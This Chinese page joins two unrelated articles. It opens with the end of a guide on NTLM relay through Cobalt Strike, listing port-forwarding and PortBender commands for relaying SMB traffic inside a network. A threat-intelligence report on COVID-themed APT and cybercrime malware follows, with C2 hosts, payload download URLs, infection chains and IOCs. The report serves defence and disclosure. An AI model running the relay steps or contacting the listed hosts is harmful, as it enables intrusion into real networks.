通过模拟令牌，本地提权：
## 0x04 结合测试
将relay与CS结合，实现中继，这里我选择的场景：无约束委派。
环境准备：
1.vps linux 安装 impacket
2.可控的内网的机器
3.无约束委派的机器
测试执行流程：
1.Get-ADComputer -Identity win10a | Set-ADAccountControl -TrustedForDelegation
$true 设置无约束委派
2.创建SPN
3.创建DNS
4.ntlmrelayx监听
5.使用工具relay调用
CS上需要执行的命令:
* socks 1080
* rportfwd_local 8445 172.20.77.73 445 （本地内网172.20.77.73 nltmrelayx 监听的机器）或 rportfwd 8445 127.0.0.1 445 (在VPS上监听 445)
* upload WinDivert64.sys
* PortBender redirect 445 8445
效果如下：
## 0x05 总结
本文主要就介绍了，在CS中如何进行relay，在实战中根据环境不同，可能限制还是很多。可控的高权限机器，relay的机器可以互通，网速慢导致丢包失败等，其中的rportfwd和socks，可以使用其他代理工具实现，速度也会快点。 | 社区文章 |
# 新冠病毒笼罩下的全球疫情相关网络攻击分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概要
自今年年初新冠病毒在国内全面爆发，奇安信威胁情报中心便立刻意识到在这样的非常时期，网络攻击者绝不会自我“隔离”。保障关键业务系统的安全稳定运行及信息安全、重要网站的正常运转和内容不被篡改、防范和阻断利用疫情相关热点的APT、黑产等网络攻击，是另一个当务之急。
在春节期间，奇安信红雨滴团队和奇安信CERT便建立了围绕疫情相关网络攻击活动的监控流程，以希冀在第一时间阻断相关攻击，并发布相关攻击预警。
截至目前，奇安信红雨滴团队捕获了数十个APT团伙利用疫情相关信息针对境内外进行网络攻击活动的案例，捕获了数百起黑产组织传播勒索病毒、远控木马等多类型恶意代码的攻击活动。并通过基于奇安信威胁情报中心威胁情报数据的全线产品阻断了数千次攻击。相关详细信息均及时上报国家和地方相关主管部门，为加强政企客户和公众防范意识，也将其中部分信息摘要发布。
在本报告中，我们将结合公开威胁情报来源和奇安信内部数据，针对疫情期间利用相关信息进行的网络攻击活动进行分析，主要针对疫情相关网络攻击态势、APT高级威胁活动、网络犯罪攻击活动，以及相关的攻击手法进行详细分析和总结。
主要观点
* 从奇安信对疫情期间监控到的各类网络攻击活动来看。在疫情爆发初期，我们捕获到的攻击来源主要集中在嗅觉灵敏的国家级APT组织以及网络黑产团伙，例如：海莲花、摩诃草、毒云藤、金眼狗等等。他们利用受害者对于疫情热点信息的高关注度，使用疫情相关内容作引诱，并多采用钓鱼、社交网络等方式针对特定人群和机构进行定向攻击。
* 而在疫情爆发的中期，各类网络犯罪团伙轮番登场。我们持续监控到国内外诸多网络犯罪团伙通过疫情热点信息传播勒索病毒、银行木马、远控后门等恶意程序的敛财活动。
* 随着新冠肺炎的全球性蔓延，当前我们监控到越来越多的APT组织、黑产团伙、网络犯罪组织加入到利用疫情热点的攻击活动中。例如近期新冠肺炎爆发的国家意大利，我们就捕获了多个针对意大利并利用新冠肺炎为诱饵的网络攻击活动。从当前奇安信针对疫情期间的网络攻击大数据分析来看，随着疫情的全球性蔓延，相关的网络攻击已存在蔓延态势的苗头。
## 全球疫情相关网络攻击趋势
### 数量和趋势
自今年1月底新冠疫情爆发开始，嗅觉灵敏的国家级APT组织以及网络黑产团伙便率先展开在网络空间借疫情信息进行的网络攻击活动。1月底到2月中旬，由于大规模疫情仅限于中国境内，这一期间，疫情相关的网络攻击活动也主要表现为针对中国境内。而随着2月中旬后，新冠疫情开始在全球范围内爆发，随之而来的网络攻击行动也逐步扩撒到世界范围，攻击活动越发频繁，越来越多的APT组织、黑产团伙、网络犯罪组织加入到利用疫情热点的攻击活动中。
下图为红雨滴团队近期捕获到的疫情相关恶意文件数量趋势：
### 诱饵关键字
根据奇安信红雨滴团队基于疫情相关网络攻击活动的监控来看，网络空间的攻击随着新冠病毒的扩撒而变化。前期，只有中国境内疫情严重时，相关网络攻击便集中针对汉语使用者，并多借以疫情相关中文热点诱饵信息进行攻击。相关诱饵包含的信息例如：“口罩价格”、“疫情防控”、“逃离武汉”、”信息收集”、”卫生部”等等。
而到了2月中旬，欧洲、日韩等国家疫情突然进入爆发期，针对全球范围的网络攻击开始激增，诱饵信息开始转变为多种语言，以”
Covid19”、”Covid”、”mask”、”CORONA VIRUS”、”Coronavirus”、”COVID-19”等诱饵信息为主。
下图为红雨滴团队根据攻击活动相关的诱饵热词制作的词云图：
### 恶意文件类型
而在本轮疫情相关的网络攻击活动中涉及的恶意文件类型来看，大部分攻击者倾向于直接将PE文件加上疫情相关的诱饵名并通过邮件、社交媒体等方式传播。其次是带有恶意宏或者Nday漏洞的文档类样本。同时，移动端的攻击数量也不在少数。
### 受害目标的国家和地区
通过疫情相关的网络攻击目标来看，中国、美国、意大利等疫情影响最为严重的国家也恰巧成为疫情相关攻击最大的受害地区，这说明网络攻击者正是利用了这些地区疫情关注度更高的特点来执行诱导性的网络攻击。下图为受疫情相关网络攻击的热度地图，颜色越深代表受影响更大。
疫情相关网络攻击受害地区分布图
### 活跃的APT和黑产团伙
通过红雨滴团队的疫情攻击监测发现，黑产团伙仍然是疫情相关网络攻击活动的最主要来源，其通过疫情相关诱饵传播银行木马、远控后门、勒索挖矿、恶意破坏软件等恶意代码，近期红雨滴团队还捕获了伪装成世卫组织传播恶意木马的多起网络攻击活动。
而国家级APT组织当然也是嗅觉最灵敏的网络攻击团伙，在疫情爆发的整个周期，针对疫情受害严重的国家和地区的APT攻击活动就没有停止过。已被公开披露的APT攻击事件就已达数十起。我们在下图中列举了截止目前借疫情进行APT攻击的团伙活跃度。
## 疫情相关攻击活动分析
奇安信红雨滴团队基于疫情网络攻击事件感知系统，捕获了数百例疫情相关的APT攻击与网络犯罪等攻击活动。以下部分分别介绍APT和网络犯罪相关的威胁活动和攻击技术。
### 针对性的APT高级威胁活动
APT攻击，即高级可持续威胁攻击,也称为定向威胁攻击，指某组织对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。
**摩诃草**
摩诃草组织（APT-C-09），又称 HangOver、VICEROY TIGER、The Dropping Elephant、
Patchwork，是一个来自于南亚地区的境外 APT 组织，该组织已持续活跃了 7 年。摩诃草组 织最早由 Norman 安全公司于 2013
年曝光，随后又有其他安全厂商持续追踪并披露该组织 的最新活动，但该组织并未由于相关攻击行动曝光而停止对相关目标的攻击，相反从 2015 年开始更加活跃。
摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络间谍活动，其中以窃取敏 感信息为主。相关攻击活动最早可以追溯到 2009 年 11
月，至今还非常活跃。在针对中国地 区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击，其中以科研教育领域为主。
在疫情爆发初期，该组织便利用” 武汉旅行信息收集申请表.xlsm”,”
卫生部指令.docx”等诱饵对我国进行攻击活动。同时，该组织也是第一个被披露利用疫情进行攻击的APT组织。
相关诱饵如下：
此类样本将通过宏等方式从远程服务器下载后续木马执行
获取的木马均为PatchWork独有的CnC后门，该后门具有远程shell,上传文件，下载文件等功能
**蔓灵花**
蔓灵花（Bitter）是疑似具有南亚背景的APT组织，长期针对中国、巴基斯坦等国家进行攻击活动，该组织主要针对政府、军工业、电力、核等单位进行攻击，窃取敏感资料，具有强烈的政治背景。
摩诃草率先借疫情发动攻击后，同样具有南亚背景的蔓灵花也开始伪装国内某政府单位进行攻击活动。诱饵文档信息如下
并释放执行蔓灵花常用的木马执行
**海莲花**
海莲花（OceanLotus）是一个据称越南背景的 APT 组织。该组织最早于 2015 年 5 月被天眼 实验室所揭露并命名，其攻击活动最早可追溯到
2012 年 4 月，攻击目标包括中国海事机构、 海域建设部门、科研院所和航运企业，后扩展到几乎所有重要的组织机构，并持续活跃至今。
而实际上，根据各安全厂商机构对该组织活动的拼图式揭露，海莲花团伙除针对中国发起攻
击之外，其攻击所涉及的国家分布非常广泛，包括越南周边国家，如柬埔寨、泰国、老挝等， 甚至包括越南的异见人士、媒体、地产公司、外资企业和银行。
奇安信红雨滴(RedDrip)安全研究团队（前天眼实验室）一直对海莲花团伙的活动保持高强度
的跟踪，疫情期间，一直针对国内进行攻击的海莲花自然不会放过机会。不但利用疫情相关信息进行攻击，还利用了湖南爆发的禽流感等信息进行攻击。并采用WPS白加黑的方式执行木马。
相关诱饵信息如下：
经WPS文字处理软件白加黑方式加载起来的恶意dll最终会加载执行海莲花特有的Denis木马
**毒云藤**
毒云藤，又称APT-C-01,
绿斑，是一个长期针对中国国防、政府、科技、教育以及海事机构等重点单位和部门的APT组织，该组织最早的活动可以追溯到2007年。
疫情期间，该组织开展了多次疫情相关的钓鱼行动，分别构造了虚假的qq邮箱，163邮箱等登陆界面，以”《南部杜氏中医》献方”，“新表.xls”等为诱饵，诱导受害者输入账户密码登陆下载文件。从而窃取受害者账号密码。
**Hades**
Hades组织最早被披露是在2017年12月22日针对韩国平昌冬奥会的攻击事件，其向冬奥会邮箱发送带有恶意附件的鱼叉邮件，投递韩文的恶意文档，控制域名为伪装的韩国农林部域名地址。
该组织使用被命名为Olympic Destroyer的恶意代码，其对目标主机系统具有破坏性
奇安信红雨滴团队在日常的疫情攻击监测中，发现一例伪装为乌克兰卫生部公共卫生中心发布疫情信息的攻击样本。在捕获该样本的第一时间便对其进行了公开披露。
样本信息如下
文件名 | Коронавірусна інфекція COVID-19.rar
---|---
MD5 | 53b31f65bb6ced61c5bafa8e4c98e9e8
VT 上传地 | 乌克兰
RAT MD5 | 0ACECAD57C4015E14D9B3BB02B433D3E
C2 | cloud-security.ggpht[.]ml
该样本为宏利用文档，诱饵信息如下，诱导受害者启用宏
启用宏后会展示完整的文档
之后释放远控木马执行
释放执行的木马采用c#编写，硬编码了一个c2地址
该木马具有获取进程列表，截屏，键盘记录等功能
经友商溯源分析发现该样本疑似出自Hades之手。
**ProjectM**
ProjectM又称APT36, Transparent Tribe,Operation
C-Major。是疑似具有南亚政府背景的攻击组织，其主要针对周边国家地区进行攻击活动。
奇安信威胁情报中心公开披露了该组织利用新冠病毒信息进行攻击的样本。
样本信息如下
文件名 | Urgent Encl 1.xls
---|---
MD5 | e074c234858d890502c7bb6905f0716e
利用方式 | 宏
RAT MD5 | e262407a5502fa5607ad3b709a73a2e0
C2 | 107.175.64.209:6728
文档来源 | <http://email.gov.in.maildrive.email/?att=1581914657>
该组织构造了一个与印度电子信息处高度相似的域名<http://email.gov.in.maildrive.email/>进行样本下发。获取到的样本为宏利用文档。启用宏弹框诱使受害者启用宏
启用宏后便会展示新冠病毒相关信息
同时，也会释放恶意木马执行
释放的木马为ProjectM独有的远控木马Crimson RAT。具有远程shell，上传，下载文件，获取进程信息，结束指定进程等多种远控木马功能
**Kimsuky**
Kimsuky，别名Mystery Baby，Baby Coin，Smoke Screen，Black
Banshe。疑似具有东北亚背景，主要针对韩国，俄罗斯进行攻击活动，最早有卡巴斯基披露。韩国安全公司认为其与Group123存在部分重叠。
3月初，韩国疫情开始爆发，而作为长期针对韩国进行网络攻击行动的APT，Kimsuky自然不会放过如此好机会，也利用疫情相关信息对韩国进行了攻击活动。
奇安信红雨滴团队捕获的样本信息如下
文件名 | 코로나바이러스 대응.doc_（冠状病毒对应）
---|---
MD5 | a9dac36efd7c99dc5ef8e1bf24c2d747
利用方式 | 宏
样本运行后显示如下内容诱导受害者启用宏
当受害者启用宏之后，便会显示疫情相关文档迷惑受害者
而恶意宏会从vnext.mireene[.]com/theme/basic/skin/member/basic/upload/search.hta下载Hta文件执行
Search.hta将再次获取hta文件执行
再次获取到hta文件将收集主机名、用户名、IP信息、进程列表、磁盘信息、网络环境等信息，并创建计划任务定时获取命令执行
截至完稿前，奇安信红雨滴再次捕获一起Kimsuky利用疫情信息针对韩国的攻击样本，该样本利用python恶意脚本针对MACOS平台进行攻击活动，详细样本信息如下。
文件名 | COVID-19 and North Korea.docx
---|---
MD5 | a4388c4d0588cd3d8a607594347663e0
该样本在文档中嵌入了一个远程模板文件，受害者打开文档后，则会从外部链接：
<http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web>下载带有恶意宏的文档继续运行
行文档后在文档打开界面中可以看见模板注入的远程地址：
打开文档后，诱导受害者启用宏
一旦受害者按照恶意文档指导启用宏后，恶意宏将判断是否是MAC环境，若是，将下载恶意的python脚本执行
为了掩饰其恶意行为，还会展示关于covid19相关信息以迷惑受害者。
恶意python脚本将再次从远程服务器拉回python代码执行
最终的python脚本将通过系统命令收集进程列表，系统信息，软件列表，文档等信息保存到/Group
Containers/UBF8T346G9.Office/backup.zip
之后将打包的信息发送到远程服务器
从远程服务器获取新的脚本执行
并每隔五分钟循环上述操纵
**KONNI**
Konni组织被认为是来自东北亚的APT团伙，韩国安全厂商ESTsecurity通过关联分析，认为其与Kimsuky组织存在联系。
在疫情期间，Konni组织也没让Kimsuky单兵作战，Konni使用其常用的攻击手法展开了疫情期间的攻击活动，样本信息如下
文件名 | Keep an eye on North Korean cyber.doc
---|---
MD5 | 1a7232ef1386f78e76052827d8f703ae
样本将字体设为较浅的颜色，可以依稀看到Covid-19等疫情相关字样，诱导受害者启用宏
一旦受害者启用宏后，恶意宏代码将从远程下载执行konni组织常用的木马控制受害者机器
**TA505**
TA505组织由Proofpoint在2017年9月首次命名，其相关活动可以追溯到2014年。该组织主要针对银行金融机构，采用大规模发送恶意邮件的方式进行攻击，并以传播Dridex、Locky等恶意样本而臭名昭著
在疫情期间，红雨滴团队捕获该团伙多个以“COVID-19-FAQ.xls”为名的攻击文档。
部分样本信息如下
文件名 | MD5
---|---
COVID-19-FAQ.xls | 501b86caaa8399d508a30cdb07c78453
COVID-19-FAQ.xls | 8d172a2eb3d94322b34a2586365eb442
COVID-19-FAQ (2).xls | baef0f7897694a3d2783cef0b19239be
此类样本均采用宏利用方式，打开文档后，将诱导受害者启用宏
受害者启用后，将展示一个虚假的进度条迷惑受害者，这与TA505之前的活动类似
同时，恶意木马也将被加载执行，收集计算机信息发送到远程服务器
## 网络犯罪及相关攻击技术
黑产等网络犯罪攻击不同于APT攻击具有非常独特的定向性，通常采用撒网的方式，四处传播恶意代码，以达到牟利的目的。在疫情期间，红雨滴团队捕获多个黑产团体的攻击行动，包括已被披露的金眼狗等。
由于黑产团伙组织较多，且攻击活动基本一致，故本节不以团伙分类，而从攻击手法上进行阐述。
### 鱼叉邮件攻击
钓鱼邮件在网络攻击活动中是最常见的一种投递方式，黑客通过热点新闻等信息诱导受害者执行邮件附件，从而控制受害者计算机。以下为部分利用疫情热词并通过钓鱼邮件分发的不同恶意附件类型样本分析
### 恶意宏文档
文件名 | 2.eml
---|---
MD5 | d5930a9698f1d6aa8bb4ec61a1e1b314
附件名 | COVID 19 Requisition.xls
传播木马 | Zloader
该邮件宣称只要填上附件相关信息，并打印就可以在附件医院免费检查诱导受害者执行附件
附件 COVID 19
Requisition.xls中包含恶意的宏，一旦用户执行附件并启动宏，恶意的宏代码将会从远程下载文件并通过rundll32.exe执行
下载执行的文件是出名的Zloader
### 漏洞利用
文件名 | Malicious Content Detected CORONA VIRUS AFFECTED VESSEL TO AVOID.msg
---|---
MD5 | 9b389a1431bf046aa94623dd4b218302
附件名 | CORONA VIRUS AFFECTED CREW AND VESSEL.xls
传播木马 | HawkEye RAT
黑客伪装为世卫组织欧洲办事处，宣传一些疫情期间防护措施，并要求受害者执行附件，将体温信息按照附件格式进行登记
该附件是公式编辑漏洞利用文档，执行后运行流程如下
最后将从远程拉回一个hawkeye远程控制木马执行
### 压缩包内附带PE文件
文件名 | W.H.O._CORONAVIRUS(COV,19) SAFETY&PREVENTIVE MEASURES.eml
---|---
MD5 | f75c658265dd97c22c6ba3b99f50cb78
附件名 | WORLD HEALTH ORGANIZATION_PDF.gzs
传播木马 | HawkEye RAT
以伪装为世卫组织的的样本为例。邮件内容如下
其伪装成世卫组织并表示附件中有世界卫生组织对日常生活的一些健康建议，由于世卫组织是全球性的权威组织，多数受害者会尝试执行附件中的文件。
而附件中是一个loader，运行后将解密一个可执行文件注入到RegAsm.exe执行
注入执行的可执行文件是商业木马Hawkeye RAT，具有收集信息，远程shell，键盘记录等恶意功能
## Windows平台相关攻击活动
此类攻击方式中，黑客通常将疫情相关的热门词汇作为文件名，通过社交媒体等方式进行传播。
### 博彩相关
近几年随着在线博彩的需求逐渐上升，东南亚等国从事博彩相关人员越来越多，而一些黑产团伙则格外喜欢针对这些人群，上演黑吃黑。
此类攻击中诱饵一般以“色情”，“暴力”，“热点新闻”等关键字为主，部分疫情期间捕获样本信息如下：
诱饵名 | MD5
---|---
菲：目前27起疑似新型病毒病例，中国男子在马尼拉死于肺炎.exe | fb5f82e67745216ad87d92a8d9a5c3d8
菲律宾各大楼冠状肺炎名单-1.exe | 3a0a6dbc2ba326854621f3baf87f611c
菲律宾各大楼冠状肺炎名单.exe | 87ad582f478099a6d98bf4b2527d0175
全国疫情 可能是生化战 这个文章很可靠.exe | 258eda999b9ac33c52b53f4d8c77dcb0
口罩价格及例图.exe | 72ecf3804af2d9016fa765a708e25b7c
菲律宾多个博彩公司员工被感染新冠状病毒被隔离现 | dc0b5e263ce35f03ccdb097ba8c76d9d
公司重要通知新冠肺炎防范措施.exe | 52316b66ced3426d244735d26fa0e259
相关样本图标如下：
在此次针对疫情的样本投递中，攻击者将样本图标伪装成安装手册、IE浏览器、通讯软件Skype、BMP图片、自定义图片等常见图标。结合夺人眼球的文件名进行投递。投递木马大部分是魔改的”大灰狼”远控，其中部分样本是针对此次疫情”定制”；部分是老样本更改了图标和名字直接投递，详细信息如下：
以”口罩价格及例图.exe”为例，样本运行后会在内存中解密一个PE文件，修复文件头。
该PE文件则是魔改的”大灰狼远控”：
### Windows勒索软件
勒索病毒，是伴随数字货币兴起的一种新型病毒木马，通常以垃圾邮件、服务器入侵、网页挂马、捆绑软件等多种形式进行传播。机器一旦遭受勒索病毒攻击，将会使绝大多数文件被加密算法修改，并添加一个特殊的后缀，且用户无法读取原本正常的文件，对用户造成无法估量的损失。勒索病毒通常利用非对称加密算法和对称加密算法组合的形式来加密文件，绝大多数勒索软件均无法通过技术手段解密，必须拿到对应的解密私钥才有可能无损还原被加密文件。黑客正是通过这样的行为向受害用户勒索高昂的赎金，这些赎金必须通过数字货币支付，一般无法溯源，因此危害巨大。
疫情期间，多类勒索软件也开始利用相关信息进行传播，包括Dharma/Crysis，CXK恶搞勒索，Android勒索等，其中一例勒索样本还将自己命名为COVID-19
RANSOMWARE
部分疫情相关勒索病毒信息如下
文件名 | MD5 | 勒索家族
---|---|---
SAMPLE.EXE | 055d1462f66a350d9886542d4d79bc2b | Dharma
2020.1.102020.1.23Information onTravelers from Wuhan China to India.zip |
f94d84da27bd095fdeaf08ed4f7d8c9a | CXK_NMSL
COVID-19.exe | 6245712b2f127a1595adab16b8224faf | COVID-19 RANSOMWARE
以COVID-19.exe为例
该样本由C#编写，提示信息硬编码到了代码中，要求用户到cultureland[.]co[.]kr购买10000韩元(约57人民币)的礼品卡然后将兑换码发送到木马开发者的邮箱。
经过分析，该样本制作简单，只能算是一个”伪勒索”，样本运行后不会真的加密用户的文件，只会弹出一个活动窗口，并提示用户到指定目录阅读刚才在代码中看到的提示信息。在任务管理器中将该进程结束即可。
相比之下，Dharma
家族在疫情期间投递的SAMPLE.EXE才是”正常”的勒索病毒，样本运行后，会将计算机所有文件加密为：[原始文件名].[id].[[email protected]].ncov
并且给出勒索提示，要求用户发送邮件到coronavirus[AT]qq[.]com进行谈判。
### 挖矿
当今互联网的高速发展，孕育出了一批高新产业，如人工智能、分布式计算、区块链、无人驾驶等。这些高新技术为人们生活带来便利的同时，引发的安全问题也日益凸显。随着区块链技术的普及，其涉及的虚拟数字货币也创造了巨大的财富。这些虚拟货币可以通过“挖矿”的形式获取，“矿工”越多，利益越大。因此，近年来有越来越多的黑客团伙通过非法入侵控制互联网上的计算机并植入木马程序偷偷进行挖矿活动，为自己谋取暴利。
疫情期间，也有不法分子以新型冠状病毒查询为诱饵，投递了永恒之蓝挖矿蠕虫。样本信息如下
点击查询冠状病毒消息.exe | d8f6c66f84546ef19d8373f3bc9f1185
---|---
该木马运行后会创建一个每10分钟运行一次的计划任务，主要功能为从http[:]//t.zer2.com下载恶意文件到本地并放入到powershell中加载执行。
下载回来的文件是一个含有shellcode的powershell脚本，将shellcode解码得到包含了永恒之蓝的挖矿脚本。
## 移动终端相关攻击活动
随着移动办公的发展，不论是企业员工还是国家单位工作人员，都会用手机访问公司内部数据，根据IBM的研究，用户对移动设备上的网络钓鱼攻击的回应是桌面的三倍，而原因仅仅是因为手机是人们最先看到消息的地方，而且企业数据、政府数据的泄露导致的损失，很多时候是无法挽回的。如今，移动安全已经不仅仅是个人手机安全的问题，移动访问也越来越成为企业安全威胁的重要的来源，甚至影响到国家安全。
在疫情期间，Android木马也相继出现蹭”新冠肺炎”的热度。不少Android木马以”新冠病毒”为关键字进行投递，包括老牌Android木马家族Anubis、Cerberus（地狱犬）、新型木马家族Cerberus、SMS蠕虫以及CovidLock勒索病毒等等。
**Anubis**
文件名 | covid-19.apk
---|---
MD5 | 2C522F3527DEF8AC97958CD2C89A7C29
包名 | wocwvy.czyxoxmbauu.slsa
图标 |
本次监测到的Anubis银行木马变种继承了之前的功能，代码核心以远控为主体，钓鱼、勒索等其它功能为辅，目的则为获取用户关键信息，窃取用户财产。不同之处在于，其将一部分配置信息加密存放在了本地等，而且配置信息中使用了大量的中文，其获取C2的方式也进行了改变。
**Cerberus**
文件名 | Coronavirus.apk
---|---
MD5 | B8328A55E1C340C1B4C7CA622AD79649
包名 | hdjro.nzaqrgffealnhmorwihd.mfukiybfx
图标 |
Cerberus木马与其它银行木马一样功能众多，而且由于其一直在地下论坛中进行租赁，可以根据“客户”的不同需求进行功能的增加等，加上其作者的高调做派，俨然已经接过了Anubis的邪恶传承，成为了目前威胁最大的银行木马。
Cerberus木马运行以后会诱骗用户激活设备管理器、隐藏自身图标、防止卸载等方式进行自我保护。Cerberus木马会获取并上传用户手机中短信、通讯录、手机已安装的应用信息、gmail信息等。此外Cerberus木马还可以截取用户手机屏幕，电话呼叫转移，获取用户银行账号、密码等恶意操作，并可以通过Team
Viewe进行远控。
其支持的远控功能列表如下：
**SMS蠕虫**
文件名 | CoronaSafetyMask.apk
---|---
MD5 | d7d43c0bf6d4828f1545017f34b5b54c
包名 | com.coronasafetymask.app
图标 |
样本运行后，会打开在线口罩购买平台https[:]//masksbox[.]com，尝试窃取用户购买时输入的卡号和密码。
同时，该恶意程序还会以SMS短信的方式将自己传播给通讯录上的所有人。短信内容为：Get safety from corona virus by using
Face mask, click on this link download the app and order your own face mask –
http[:]//coronasafetymask[.]tk
**手机勒索软件**
文件名 | Coronavirus_Tracker.apk
---|---
MD5 | D1D417235616E4A05096319BB4875F57
包名 | com.device.security
图标 |
该勒索木马跟一般勒索病毒一样，运行后诱骗用户激活设备管理器，之后强制对用户手机进行锁屏，并修改用户手机解锁密码，同时对用户进行勒索。勒索软件威胁要在48小时之内索要100美元的比特币，否则会删除用户手机个人信息。勒索界面如下
该样本将解锁密码硬编码在样本中，若不小心中招，可通过输入“4865083501“进行解锁
## 各类特殊文件格式
奇安信红雨滴团队捕获的样本集中，除了常见的文件格式外，还捕获几例特殊文件格式样本，如SLK,CHM等，此类样本通过也是通过社交媒体或邮件进行传播，但基于公开信息未捕获其传播油价，故将此类样本单独阐述
**SLK**
近期，意大利疫情出现大爆发，随之而来的网络攻击活动也越演越烈，奇安信红雨滴团队捕获一例利用特殊格式（slk）在意大利传播的恶意样本。
Symbolic Link
(Slk)是一种Microsoft文件格式，通常用于Excel表格更新数据，黑客利用这一特性将恶意的powershell代码添加其中，当用Excel打开文件时，恶意代码将被执行起来。由于这类格式不常见，所以具有一定程度的免杀效果。
捕获的样本信息如下
文件名 | COVIDCompany.slk
---|---
MD5 | e92d7a5ed21c5504316e046875d07444
利用文本编辑打开该文件，可见其将会执行powershell代码从远程获取文件执行
最后，恶意的netsupport manager 远程控制软件将被执行起来控制受害者计算机
**CHM**
CHM（Compiled Help
Manual）即“已编译的帮助文件”。是微软新一代的帮助文件格式，利用HTML作源文，把帮助内容以类似数据库的形式编译储存。CHM支持Javas
cript、VBs cript、ActiveX、Java
Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等。所以在大多数人眼中，CHM等同于电子书，是没有危害的软件。
奇安信红雨滴团队捕获的CHM样本信息如下
文件名 | MD5
---|---
Eeskiri-COVID-19.chm | 6c27a66fc08deef807cd7c27650bf88f
将Chm反编译之后，会得到一个恶意的HTML文件以及shelma远控木马。
**LNK**
LNK是Microsoft
Windows用于指向可执行文件或应用程序的快捷方式文件的文件扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。LNK代表LiNK。LNK文件可以通过更改图标伪装成合法文档。我们在疫情期间捕获的LNK样本如下
文件名 | MD5
---|---
coronavirus.doc.lnk | 42c6b1b0e770887c461c51002b3b71d2
LNK样本会将待执行的命令写入到<目标>字段中，这个命令将会在执行LNK文件的同时运行，受到长度限制的影响，<目标>字段中只会显示部分命令。将完整命令提取出来之后可知LNK文件执行时将会在本地释放并执行包含shellcode的VBS木马。
Shellcode解码之后将会通过POST请求从hxxp[:]//185.62.188.204下载后续的远控exe到本地执行以控制受害者计算机。
**恶意脚本类**
奇安信红雨滴团队捕获多起以疫情为诱饵的脚本类攻击样本，部分样本信息如下
文件名 | MD5
---|---
covid22_form.vbs | 97fe215dd21915ed7530fa0501ad903c
COVID-19.vbs | c97e9545291fb0af77630cb52f411caa
CORONAVIRUS_COVID-19.vbs | 7a1288c7be386c99fad964dbd068964f
以covid22_form.vbs为例，样本运行后，会通过Execute执行一段base64编码的shellcode
经过多次解密，最终执行一段powershell代码，用于从指定web服务器下载3个dat文件并保存到本地解密执行，以控制受害者计算机。
**JAR**
JAR文件是在安装了JRE等JAVA运行环境的操作系统上能直接运行的可执行程序。由于JAVA具有跨平台的特性，所以这类文件可以在安装了JAVA运行时库的大部分操作系统上运行，包括Windows、Linux、macOSX、Android。
由于具有跨平台的特性，所以近几年这类文件被黑客更多的利用于制作木马进行网络攻击，而红雨滴团队近期也捕获了大量以新冠病毒字眼为诱饵的JAR木马样本，我们以以下样本为例进行分析。
文件名 | COVID-19 Update.jar
---|---
MD5 | 583c8dc8e20c8337b79c6f6aaacca903
木马家族 | JRAT
样本运行后，通过AES解密资源文件的代码，在%temp%目录下释放一个vbs文件，用于协助查找和结束所有的安全软件，包括杀毒软件、取证软件、抓包软件等
还会禁用任务管理器，系统还原等
## 疫情期间的网络安全防范建议
鉴于疫情防控期间企业用户多会采用远程办公的方式开展工作，奇安信建议广大政企用户从以下方面做好针对性的网络安全防范措施：
1. 终端安全防范
* 个人办公电脑及时安装及更新补丁
* 使用来源可信、正版的操作系统及软件，不使用Windows 7、Office 2007等不受支持的老旧版本系统及软件
* 尽力避免使用弱口令，建议疫情防控期间强制更换口令或加快口令到期频率
* 安装奇安信天擎等正版企业级杀毒软件
2. 接入安全防范
* 务必通过虚拟专用网络(VPN)的方式接入办公网络环境
* 禁止使用公共场合或借用他人的WiFi网络接入办公网络环境
* 严禁使用远程办公电脑处理私人事务或访问非工作网络，可部署奇安信网康等上网行为管理系统
3. 企业侧网络安全防范
* 企业侧的重要服务器确保有DDoS防护设备、WAF、IPS等设备进行防护，并将规则库升级到最新版本，相关服务器确保补丁修复或进行相应的加固（可使用奇安信椒图相关产品加固服务器）
* 做好相关重要数据备份工作
* 相对平时需要提升网络安全基线
* 建议政企单位搭建使用蓝信安全移动工作平台进行安全远程办公
* 政企用户可以建设态势感知以完善资产管理及持续监控能力
* 政企用户可引入奇安信威胁情报、部署奇安信文件沙箱来对远程办公传输的文件进行威胁分析
* 为关键业务系统使用独立的线路，与网站系统隔离，防止攻击发生时对关键业务产生影响
* 由于政企用户的网站IP会暴露在互联网，成为攻击目标，建议政企网站接入奇安信安域或其他云防护
4. 员工安全意识提升
* 禁止打开或观看社交渠道分享的不明链接、文件
* 对邮件来源的链接、文件保持高度警惕，禁止点击陌生邮件中的链接或运行邮件附件，必要时可以将邮件附件或链接上传至企业内部的文件沙箱进行威胁检测
* 个人办公电脑专机专用，严禁用于一切非工作事务
* 禁止使用公共场合或借用他人的WiFi网络接入远程办公网络
* 及时备份工作相关的重要文件
## 总结
疫情还未结束，网络空间的战斗也还将继续，奇安信红雨滴团队提醒广大用户，切勿打开社交媒体分享的来历不明的链接，不点击执行未知来源的邮件附件，不运行夸张的标题的未知文件，不安装非正规途径来源的APP。做到及时备份重要文件，更新安装补丁。
若需运行，安装来历不明的应用，可先通过奇安信威胁情报文件深度分析平台（<https://sandbox.ti.qianxin.com/sandbox/page>）进行简单判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。
目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信NGSOC等，都已经支持对本次疫情相关的攻击的精确检测。
IOCs
由于IOC数量较多，仅在文章结尾公开部分IOC数据。
MD5:
b08dc707dcbc1604cfd73b97dc91a44c
3519b57181da2548b566d3c49f2bae18
78359730705d155d5c6928586d53a68e
21b837f22afa8d9ca85368c69025a9f4
d739f10933c11bd6bd9677f91893986c
53b31f65bb6ced61c5bafa8e4c98e9e8
e074c234858d890502c7bb6905f0716e
e262407a5502fa5607ad3b709a73a2e0
a9dac36efd7c99dc5ef8e1bf24c2d747
a4388c4d0588cd3d8a607594347663e0
501b86caaa8399d508a30cdb07c78453
8d172a2eb3d94322b34a2586365eb442
baef0f7897694a3d2783cef0b19239be
74572fba26f5e988b297ec5ea5c8ac1c
a30391c51e0f2e57aa38bbe079c64e26
2c268c58756eb83c4ecfd908d1b482ea
3a0a6dbc2ba326854621f3baf87f611c
